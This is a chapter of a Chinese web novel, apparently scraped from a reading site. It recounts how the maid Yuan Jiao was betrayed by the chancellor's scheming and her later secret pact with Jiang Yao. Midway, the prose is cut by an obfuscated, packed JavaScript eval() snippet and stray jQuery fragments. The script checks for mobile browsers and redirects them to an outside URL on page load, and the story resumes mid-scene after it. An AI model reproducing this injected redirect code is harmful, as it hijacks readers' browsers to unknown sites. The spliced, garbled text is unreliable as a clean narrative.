64. 第 64 章

作品:《对不住,我只是个卖符的

    但袁皎的出身本就困苦,才子佳人的故事也并非她心中所求。


    于是心头的涟漪几乎刚起就被亲手又抚平了去。


    直到次月再一次外出采买,竟在她常去的那家书画斋里再次见到了那个傻子。


    “你...”袁皎一眼就认出了他。


    “哦,姑娘是看在下眼生吧?”李绥腼腆一笑:“小子李绥,是此店新来的司账。”行动间扯到面颊上还未愈合的青紫,不由轻嘶一声,又慌忙致歉。


    言行举止间依旧冒着傻气,惹得袁皎不自觉笑出了声。


    恰逢书斋门口那棵老板为附庸风雅移栽来的杏树花开正盛,一截靠近大门的枝桠被满头繁茂压低了枝条,刚好能叫身处店中的顾客三不五时便能嗅到缕缕清香。


    向来对花草无感的袁皎平生第一次发自内心的,欣赏到了这些柔弱生物美在何处。


    又几个月过去。


    当李绥终于第一次见到辛宝珠之时,永远已沉稳示人的袁皎紧张到甚至不小心打碎了两套茶碗。


    她想嫁给他。


    可当辛宝珠真点了头后,剧烈的狂喜之后,又是汹涌而来的不舍。


    李绥是读书人,以后还待继续考取功名。所以她没办法在成亲之后继续以侍女的身份侍奉于辛宝珠身侧。


    这令她多少生出了些背弃的愧疚感来。


    “阿皎放心,待到李绥考取了功名,我以后还能常召你进宫陪我呢。”


    那时候的小姐已定下了要进宫的事宜,也正处于春心萌动之时,对二人未来的一切,都抱有一种盲目的乐观感。


    “说不得到时候我还能让陛下封你个诰命呢。”


    她抬头,看到的依旧是那张十数年不改诚挚的笑魇,反倒令她心头的千言万语再没法说出一个字来。


    于是袁皎在心底暗暗发誓,若还有机会,她愿付出任何代价来报小姐这些年来对她的恩情。


    就此。


    主仆二人,本该皆遂起心愿,各得一如意前程。


    可当消息传开,一个谁都未曾预料过的声音跳了出来,打碎了即定的所有幻想。


    那就是时任右相的辛左源,也是辛府的家主老爷,辛宝珠的父亲。


    从很久以前开始,袁皎其实就有注意到家主看待自己的眼神总是透着几丝奇怪。


    偶尔会给她一种厨子遇到梦寐以求的好菜刀的感觉。


    可大人从未明确的说过什么,她便也只当那是一种对她尽心护卫小姐的功绩的认可。


    直到李绥出现。


    老爷身边的管家竟对外宣称,她早已与自家痴傻儿定下了婚约,以后自是一生都要替辛家卖命的。


    流言蜚语很快便如潮水一般淹没了她。


    而她也经过多番打探,终于知晓了那些隐匿在暗中的龌龊。


    原来,她自小展露出的机敏聪慧与心机,竟是一丝一毫都未曾逃脱过家主的视线。几乎是她展漏头角的第一时间,未来的命运便已经被定格。


    甚至于连看起被千娇百宠的小姐,也不过是家住获得权力的工具中的一环。


    为保家族荣华,辛宝珠本身就是为了可以进宫而被培养着的。


    那场金明池畔的邂逅也从不是什么天降良缘,而是人为。


    只谁都没想到,事态竟能进展的这般顺利。


    唯一的意外,只有辛宝珠竟真动了心。但也是一切都在向好发展。


    至于袁皎。


    那些对于辛宝珠的保护与谋略落在家主眼中,那简直就是未来帮自家女儿在宫中固宠的天选之人。


    女儿若只为妃妾,以她之头脑可为其争宠。


    女儿若可为中宫,那便以她之忠诚为项圈,为其执掌□□。


    毕竟自家女儿虽生的貌美远超他所盼,可却像是拿自己的头脑与老天做了交换一般,竟是一丝谋略也无。


    所以袁皎的出现,简直就是天佑辛家。


    只要将她拴住,未来再佐以威逼利诱,何愁换不来他辛家的千秋万代?


    就如被爆裂的飓风撕碎了四肢百骸。


    得知真相的袁皎行尸走肉一般,不顾体统的踏着夜色寻去了李绥处。


    她想离开。


    想要离开这阴森可怖的牢笼,离开这吃人的深渊。


    于是二人约好了两日后,便一同逃离此处。


    可还年轻的袁皎,到底还是低估了宦海手腕,也高估了人命在为官不仁者眼中的价值。


    像她与李绥这样的人对高门大户来说,与蝼蚁一般无二。


    再做出逃离决定之后的次日,胸中汹涌的情绪逐渐稳定下来,袁皎看着小姐看向自己关切无比的双眼之时,竟也突然犹疑了起来。


    要不要告诉小姐真相?


    要不要同小姐告别?


    甚至于...要不要带着小姐,一同离去?


    但很快她也将自己的想法全然否定了去。


    还是算了。


    但小姐这样纯善的人,若没她在身边若被人欺凌了去,除了哭鼻子,连替自己辩解的能力都没有。


    各种各样的想法与假设几乎要将她折磨到发疯。


    想不出任何可两全的办法,她便准备再去寻一寻李绥,好同他一起商量看看还有无更好的方法。


    可这一去却再找不到对方的一丝踪迹。


    只看到对方留于桌上的那封绝笔信。


    信上说,右相许了他江南富庶之地的屋宅与美妾,既如此,便也再无什么冒险的必要。


    还劝她好好珍惜当下的生活,跟着辛家,未来可赚之财富数不胜数。


    她不信。


    可奈何竟真再寻不到他丝毫踪迹,直寻到她心死,寻到小姐大婚之日将近,寻到右相拿宛若大度施舍的面容深深烙进了她的脑海。


    可她也知道,自己实在太过弱小。


    于是袁皎大病一场。


    等到再次出现在辛宝珠面前之时,她已变回了从前那个同她最为亲密的阿皎。


    只有些东西,终究还是不一样了。


    那之后的袁皎对她虽一如既往,可待旁人却是比从前还要冷漠,遇到事情下起手来,也变的比以前要更加果决,且不留余地。


    两人就这么相伴进宫。


    又相伴着走过了这漫长的岁月。


    一如右相当年所料,正因有了袁皎陪伴在侧,辛宝珠几乎是在无知无觉的天真里不知平安熬过了多少明枪暗箭,任前朝□□暗流再波涛汹涌,都未曾波及到其地位分毫。


    哪怕是当年因江大将军之事而逐渐被摄政王一脉压死。


    辛宝珠,依旧稳坐泰山。


    甚至于如今外界所言太后垂帘听政处理部分朝政,实际上也是袁皎再代为处理。


    如今再回首,那些或旖旎,或苦痛的过往,竟也都已恍如隔世。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382397|199823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若非那日路过冷宫,撇到那抹熟悉的身影。


    袁皎甚至以为自己其实早已释怀,不再执着于那分明早已心知肚明的答案。


    所以此番说是想要试探辛太后的立场,其实真正需要重视的,却是这位分明把控着一切,却有能力将自己完美的隐匿在幕后的袁姑姑。


    早在达成合作后不久林蓁蓁就已经将这些过往都已说给了江瑶,所以现在她坚定的视线毫不避讳的回望向对方的,努力证明着自己的决心,也同时是在暗示对方,自己的能力不差。


    当年右相一脉的没落虽由摄政王主导,但其中很难说没有袁皎的手笔。再看辛太后对他的态度,依旧是显而易见的亲和与依赖。自然任谁见了都不免要为她的手腕感慨。


    袁皎眼底闪过抹意外。


    “哦?即不止满足于合离,世子妃想要的又是什么呢?”


    一旁的辛太后也关切的望向她,虽与袁皎的目的不同,但也十分期待对方给出的答案。


    “我要萧家父子二人,死无葬身之地。”


    桌上热茶的水汽不知何时全然消失不见。


    江瑶的一字一句,如锐利的尖针扎进辛宝珠与袁皎的耳中。


    柔善了一生的辛太后震惊于这般疾言厉色竟会出现在寒姐姐女儿的身上。


    而袁皎,却莫名扯了下嘴角,竟漏出了个意味不明的笑来。


    看似平静,实则也是在赌的江瑶见此心终于放下了半截。


    这般反应。


    看来此番孤注一掷的险,并非白冒。


    窗户纸捅破之后,剩下的进展便顺理成章了起来。


    待到反应过来,江瑶竟已在深宫之中待到了月上中天。


    “竟已到这般时辰了。”许是因着训练有素的宫人们是在是被调教的太好,宫灯是何时点的,辛太后竟一点都没有意识到。“江丫头不如今晚就歇在宫里,待天亮再回去好了。”


    江瑶下意识就要拒绝,毕竟若夜不归宿,恐惹那萧家父子二人生疑,平白多惹了事端。


    但话到嘴边,又瞥见林蓁蓁不动声色的暗示。


    她犹豫了片刻,终究还是应道:“那便...多谢太后娘娘。”


    敏锐的袁皎没有错过那些自以为无人知晓的小动作,突兀的开口,玩笑般插话:“若我没记错,你的两个陪嫁丫头不是有一个已经被发卖出去了?那这位...”她竟是精确的指出了林蓁蓁来,而非碧珠。


    心头一惊,她立马上前一步恭敬到:“回姑姑话,奴婢名唤蓁儿,前些日子蒙世子妃心善,救下了奴婢的命。这才厚着脸皮,求世子妃收下了奴婢在身边。”


    这袁皎,还真实敏锐的过头。


    辛太后听到这话不由看了眼袁皎,眼中闪过一抹怀念:“好孩子,也是知恩图报的。”


    而袁皎则似笑非笑的看着她,好在什么都未曾再多说。


    只走前留下句意味深长的:“想来蓁儿姑娘也是不可多得的聪明人,虽是苦出身,学起大户人家的礼仪规矩来倒是迅速。”


    直说的林蓁蓁鸡皮疙瘩起了一身。


    袁皎先是点出她非惯常服侍江瑶的丫鬟,又是指出了她编造出的身份遗留下的漏洞。


    这便是赤裸裸的敲打。


    是敲打江瑶,有关她的一切其实她早已知晓。


    也是敲打林蓁蓁,不要聪明反被聪明误。


    -